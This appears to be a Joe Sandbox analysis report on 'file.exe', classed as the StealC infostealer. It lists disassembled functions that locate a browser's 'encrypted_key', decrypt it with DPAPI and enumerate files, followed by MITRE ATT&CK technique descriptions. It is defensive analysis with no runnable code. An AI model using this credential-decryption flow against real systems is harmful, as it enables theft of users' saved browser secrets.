StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00BE1580,00BE0D92), ref: 00BCF54C
lstrlen.KERNEL32(00000000), ref: 00BCF56B

Strings

^userContextId=4294967295, xrefs: 00BCF59C
moz-extension+++, xrefs: 00BCF5AD

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 686669225d65302c408673b3b511891c8e8408fecefe70cef08faf7b59a3b373
Instruction ID: 9ec37498d6e0e1805cfe3e1fb9d806ba2ff3bcb0b0212d34753fd0d552149279
Opcode Fuzzy Hash: 686669225d65302c408673b3b511891c8e8408fecefe70cef08faf7b59a3b373
Instruction Fuzzy Hash: E9513471D101489ADB04FBB4DC96DEDB3B8AF54300F4085B9F81667291FF346A09CBA6

Function 00BD3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: b69db36d0128499f6b4dd635a33c4d93a58f8d0dc4d610525d0c04846d6e2dc7
Instruction ID: 9dba55bf2846615eb50b96a295e726dfe78f04cdaf35687e7213ed1dfd8b52df
Opcode Fuzzy Hash: b69db36d0128499f6b4dd635a33c4d93a58f8d0dc4d610525d0c04846d6e2dc7
Instruction Fuzzy Hash: 88416F71D10209AFCB04EFA5D885AEEF7F4EB04704F048069E41676391EB75AA45CFA2

Function 00BC9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BC99EC
Part of subcall function 00BC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BC9A11
Part of subcall function 00BC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00BC9A31
Part of subcall function 00BC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00BC148F,00000000), ref: 00BC9A5A
Part of subcall function 00BC99C0: LocalFree.KERNEL32(00BC148F), ref: 00BC9A90
Part of subcall function 00BC99C0: CloseHandle.KERNEL32(000000FF), ref: 00BC9A9A

Part of subcall function 00BD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BD8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00BC9D39

Part of subcall function 00BC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BC4EEE,00000000,00000000), ref: 00BC9AEF
Part of subcall function 00BC9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00BC4EEE,00000000,?), ref: 00BC9B01
Part of subcall function 00BC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BC4EEE,00000000,00000000), ref: 00BC9B2A
Part of subcall function 00BC9AC0: LocalFree.KERNEL32(?,?,?,?,00BC4EEE,00000000,?), ref: 00BC9B3F

Part of subcall function 00BC9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00BC9B84
Part of subcall function 00BC9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00BC9BA3
Part of subcall function 00BC9B60: LocalFree.KERNEL32(?), ref: 00BC9BD3

Strings

DPAPI, xrefs: 00BC9D89
"encrypted_key":", xrefs: 00BC9D30
, xrefs: 00BC9DC1

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: d3675514be1eb93f77164dc3df9bc6d5c4aad49a536d0e50a8607aff3c66ca5a
Instruction ID: 2a8caba24e0dbddf643a755cd54908c4deb6c8c32d45fcfbf5291343ddf37cd3
Opcode Fuzzy Hash: d3675514be1eb93f77164dc3df9bc6d5c4aad49a536d0e50a8607aff3c66ca5a
Instruction Fuzzy Hash: 2B311EB5D10209ABDB04DBE4DC89FEEB7F8EB48304F1445ADE906B7241E7359A04CBA1

Function 00BD92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00BD3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00BD3AEE,?), ref: 00BD92FC
GetFileSizeEx.KERNEL32(000000FF,00BD3AEE), ref: 00BD9319
CloseHandle.KERNEL32(000000FF), ref: 00BD9327

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: d5033f974a49a560ca7d1d61b0090e57761dc25f294a009a1a8c44afbb3915c5
Instruction ID: 2dc6360ad4a40e650ff956b12da30b81c4e520c8fef49987158b51b9a29e4760
Opcode Fuzzy Hash: d5033f974a49a560ca7d1d61b0090e57761dc25f294a009a1a8c44afbb3915c5
Instruction Fuzzy Hash: 36F08C34E00308BBDB14DBB1DC48B9EB7F9EB48320F14C2A5B611A72C0E6B196408B45

Function 00BDC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00BDC74E

Part of subcall function 00BDBF9F: __amsg_exit.LIBCMT ref: 00BDBFAF

__getptd.LIBCMT ref: 00BDC765
__amsg_exit.LIBCMT ref: 00BDC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00BDC797

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 9887d07de8dbd9e90ddb49f24371886aa2c4ede70d8cc5d4f0f7793046b54883
Instruction ID: e41bca126a2859bbe08a0edadf2902de08a4a10d3f4152727365839a01267ab2
Opcode Fuzzy Hash: 9887d07de8dbd9e90ddb49f24371886aa2c4ede70d8cc5d4f0f7793046b54883
Instruction Fuzzy Hash: 7BF049329056029ADB21BBA89846B4EBBE0AF00721F2141CBF404AB3D2FF645D41DE5A

Function 00BD4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BD4F7A
lstrcat.KERNEL32(?,00BE1070), ref: 00BD4F97
lstrcat.KERNEL32(?,013C9168), ref: 00BD4FAB
lstrcat.KERNEL32(?,00BE1074), ref: 00BD4FBD

Part of subcall function 00BD4910: wsprintfA.USER32 ref: 00BD492C
Part of subcall function 00BD4910: FindFirstFileA.KERNEL32(?,?), ref: 00BD4943

Part of subcall function 00BD4910: StrCmpCA.SHLWAPI(?,00BE0FDC), ref: 00BD4971
Part of subcall function 00BD4910: StrCmpCA.SHLWAPI(?,00BE0FE0), ref: 00BD4987
Part of subcall function 00BD4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00BD4B7D
Part of subcall function 00BD4910: FindClose.KERNEL32(000000FF), ref: 00BD4B92

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: a2966d744dcb0189c12990297c7f3dacd0e317797cb1b87777722c3974608383
Instruction ID: 14946d8b178c7b80cd18e59027f3be2b3714446415f9c818cf64658eabd0937b
Opcode Fuzzy Hash: a2966d744dcb0189c12990297c7f3dacd0e317797cb1b87777722c3974608383
Instruction Fuzzy Hash: 5621C87690030C6BC754FB71DC46EED73BCAB54300F0045E9B699A2192EE759ACD8BA2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

Windows Analysis Report
file.exe

Function 00BD9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00BC45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00BC4880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Function 00BD9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00BC6280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Function 00BD5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00BD17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00BD7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00BD69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00BC1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

